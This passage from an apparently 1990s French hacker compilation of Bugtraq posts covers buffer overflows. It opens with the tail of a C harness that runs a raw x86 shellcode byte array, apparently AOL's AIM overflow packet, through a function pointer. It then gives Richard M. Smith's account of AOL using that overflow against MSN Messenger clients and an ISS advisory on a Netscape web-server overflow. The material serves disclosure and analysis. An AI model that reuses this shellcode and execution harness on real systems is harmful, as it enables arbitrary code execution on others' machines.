0x00, 0x90, 0x90, 0x90, 0x90, 0x8B, 0x82, 0xF0,
0x00, 0x00, 0x00, 0x8B, 0x00, 0x89, 0x82, 0x4E,
0x00, 0x00, 0x00, 0x8B, 0x4D, 0x04, 0x03, 0x8A,
0xF4, 0x00, 0x00, 0x00, 0x8D, 0x82, 0x42, 0x00,
0x00, 0x00, 0x89, 0x45, 0x10, 0xB8, 0x10, 0x00,
0x00, 0x00, 0x89, 0x45, 0x0C, 0xC9, 0xFF, 0xE1,
0x00, 0x01, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x19, 0x10,
0x08, 0x11, 0x29, 0xEC, 0xFF, 0xFF, 0x44, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00,
0x00, 0x00, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x90, 0x47, 0x40, 0x00, 0xF8, 0xE9,
0xEA, 0xFE, 0xFF, 0xFF, 0x00, 0x00, 0x2A, 0x02,
0x31, 0xFA, 0x00, 0x22, 0x00, 0x01, 0x00, 0x13,
0x00, 0x00, 0x80, 0xA2, 0xF1, 0xD7, 0x00, 0x04,
0x00, 0x0B, 0x00, 0x12, 0x68, 0x74, 0x74, 0x70,
0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x61,
0x6F, 0x6C, 0x2E, 0x63, 0x6F, 0x6D};

/* Function point that will point to the buffer above */
void (*foo)();

int main()
{
        /* Set to the point where it overflows (256-characters in),
         * then add an offset to the jmp instruction that jumps back
         * to the begining */
        foo = packet+256+0x11;

        /* In MS DevStudio, put a break point here, and then turn on
         * disassembly mode [View/Debug Windows/Disassembly]. This will
         * allow you to single step each assembly intruction, and will
         * disassemble them for you. Also, turn on view of the original
         * bytes by righ-hand-mouse-clicking on the disassembly and
         * selecting [Code Bytes].
         */
        foo();

        return 0;
}


==================================
4.9-: AOL Buffer Overflow??? (End)
_________________________________________________________________________________________________________






_________________________________________________________________________________________________________
1.25-:Update on the AOL buffer overflow exploit (begin)
=======================================================

Hello,

I wanted to give an update on the buffer overflow error in
the AOL Instant Messenger client software that Robert Graham
reported to BugTraq last week.  Apparently AOL is using this
buffer overflow error  to determine if someone is running the
AOL client software versus the Microsoft MSN
Messenger client software.  MSN Messenger users are then
refused service on the AOL system.

The buffer error is used as follows.  During the AIM logon sequence, the
AOL servers now send down a packet to a client machine
with about 40 bytes of x86 code in it.  This code gets executed
by the client because the packet also exercises the buffer overflow
bug.  The downloaded code causes the client to send back a secret response
to the AOL servers.  If the servers don't see this response, they
then bounce the user under the assumption the client software
must be MSN Messenger.

It only took Microsoft a few days to see what was
going on and they have updated the MSN Messenger client
software to recognize the special packet and response in
the same manner as the AOL client.  However, MSN isn't using
a buffer overflow error to make this happen.

Presumably with this buffer overflow error, AOL can download
new x86 code in the future which generates different responses
from the client.  If this way, the can constantly stay a few days ahead
of Microsoft in this game of "spy-vs-spy".

Geoff Chappell has a done a detailed analysis of the AIM IM code
and has located the actual bug.  His write-up on the bug can be found
at these two URLs:

   http://www.ozemail.com.au/~geoffch/security/aim/
   http://www.ozemail.com.au/~geoffch/security/aim/preliminary.htm

He also provides details on how the special AOL packet is executed
by this buffer overflow error.

On the AOL side of things, they continue to publicly deny anything
is amiss here.  In press articles they either claim there is no buffer
overflow error in the client software or that they are not doing
anything to compromise the security of their AIM customers.

I respectively disagree.  Buffer overflow exploits are very
difficult to get right and small slip-ups can cause computers
to crash.  If AOL continues to play this game, they risk
crashing customers PCs on a large scale down the road
as they change the code which is executed by the client.

It also makes me personally very queasy to know that
there is network software on my computer that allows outsiders
to silently download and run code.  Buffer overflow errors should
be fixed, not used!

(As an aside, does anyone know of a previous case in
which a computer vendor ever used a buffer overflow before?
AOL actions here might be a first.)

On the Microsoft side of things there is a bit of news also.
This AOL buffer overflow story began two weeks
ago when I received a message from a person claiming
to be "Phil Bucking" from "Bucking Consulting".  The
message was sent via Yahoo Email and detailed what
AOL was up to.  "Phil" claimed he found out what is
going on because he is also writing IM client.    What "Phil" didn't
realize is that Yahoo puts the originating IP address
in the message headers.  The IP address in his message
traced back to a HTTP proxy server at Microsoft.  This
implied that the message came from inside of Microsoft.
According to an article in InfoWorld on Friday,
Microsoft has acknowledged that "Phil" is actually a Microsoft
employee.  Moral of the story: Don't use Web-based Email
systems like Yahoo and Hotmail for anonymous Email!

I am continuing to look at this issue myself.  My AOL screen name
is "buffover" if anyone wants to me add me to their
buddy list. :-)

I also very much would like to talk to a technical person at
AOL about the exploit to hear their side of the story.

Richard M. Smith

=======================================================
4.10-:Update on the AOL buffer overflow exploit (End) :
_________________________________________________________________________________________________________






_________________________________________________________________________________________________________
4.11-:ISS Security Advisory: Buffer Overflow in Netscape Enterprise and FastTrack Web Servers (begin)
====================================================================================================

-----BEGIN PGP SIGNED MESSAGE-----

ISS Security Advisory
August 25, 1999

Buffer Overflow in Netscape Enterprise and FastTrack Web Servers

Synopsis:

Internet Security Systems (ISS) X-Force has discovered a vulnerability in
the Netscape Enterprise Server and Netscape FastTrack Server. Netscape
produces web servers and web browsers for individuals, small workgroups, and
business professionals. An attacker can send the web server an overly long
HTTP GET request, overflowing a buffer in the Netscape httpd service and
overwriting the process's stack. This allows a sophisticated attacker to
force the machine to execute any program code that is sent. The ISS X-Force
has demonstrated that it is possible to use this vulnerability to execute
arbitrary code as SYSTEM on the server, giving an attacker full control of
the machine.

Affected Versions:

This vulnerability was tested on Enterprise 3.6sp2 and FastTrack 3.01.

Fix Information:

Apply the Enterprise 3.6 SP 2 SSL Handshake fix, available
from Netscape at:
http://www.iplanet.com/downloads/patches/detail_12_86.html.

Additional Information:

To download the FlexCheck for this vulnerability for Internet Scanner 6.0,
go to the following URL:

http://download.iss.net/eval/ISNetscapeGetOverflowFlexCheck.exe

Additional Information:

Information in this advisory was obtained by the research of Caleb Sima
<csima@iss.net> of the ISS X-Force. ISS X-Force would like to thank Netscape
Communications Corporation for their response and handling of this
vulnerability.

________

About ISS:

ISS is the pioneer and leading provider of adaptive network security
software delivering enterprise-wide information protection solutions. ISS'
award-winning SAFEsuite family of products enables information risk
management within intranet, extranet and electronic commerce environments.
By combining proactive vulnerability detection with real-time intrusion
detection and response, ISS' adaptive security approach creates a flexible
cycle of continuous security improvement, including security policy
implementation and enforcement. ISS SAFEsuite solutions strengthen the
security of existing systems and have dramatically improved the security
posture for organizations worldwide, making ISS a trusted security advisor
for firms in the Global 2000, 21 of the 25 largest U.S. commercial banks
and over 35 governmental agencies. For more information, call ISS at
678-443-6000 or 800-776-2362 or visit the ISS Web site at www.iss.net.


Copyright (c) 1999 by Internet Security Systems, Inc.

Permission is hereby granted for the redistribution of this Alert
electronically.  It is not to be edited in any way without express consent
of the X-Force.  If you wish to reprint the whole or any part of this
Alert in any other medium excluding electronic medium, please e-mail
xforce@iss.net for permission.

Disclaimer

The information within this paper may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are NO warranties with regard to this information. In no event shall the
author be liable for any damages whatsoever arising out of or in
connection with the use or spread of this information. Any use of this
information is at the user's own risk.

X-Force PGP Key available at: http://xforce.iss.net/sensitive.php3 as
well as on MIT's PGP key server and PGP.com's key server.

Please send suggestions, updates, and comments to: X-Force xforce@iss.net
of Internet Security Systems, Inc.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: noconv

iQCVAwUBN8QjJTRfJiV99eG9AQF3/gP/SjORxj7h3NEoRW5Zx2kTJ4fnGhNhcpUP
0Kgc8W5qAf0XL0vC2BORLtqkbFi33D7IccBDjpDOWK6S5JyoSanRZsBkrICqEJ7p
oMhJdSs2UQotZmg2RujtiScYJXcH9mW235/ObhIBW72FLR6EiaQTyG3In824FJ0f
vaOgGu7HkuE=
=ddKF
-----END PGP SIGNATURE-----

====================================================================================================
4.11-:ISS Security Advisory: Buffer Overflow in Netscape Enterprise and FastTrack Web Servers (End) :
_________________________________________________________________________________________________________






..Conclusion..
En esperant que le trie que je vous ai fait vous interresse... Pour tout commentaire : tblackh@hotmail.com

																				The blAck Hole...

P.S : pour information, toutes les informations qui se trouvent ici on t tir de diffrents news group et 
mailling list. J'en citerais particulirement une : bugtraq... Vous pouvez vous y inscrire par web, mais 
condition d'avoir beaucoup de sans froid et de patience : une semaine = 100 mails minimum, et pas toujours
intrressant...

_______________________________________________________________________________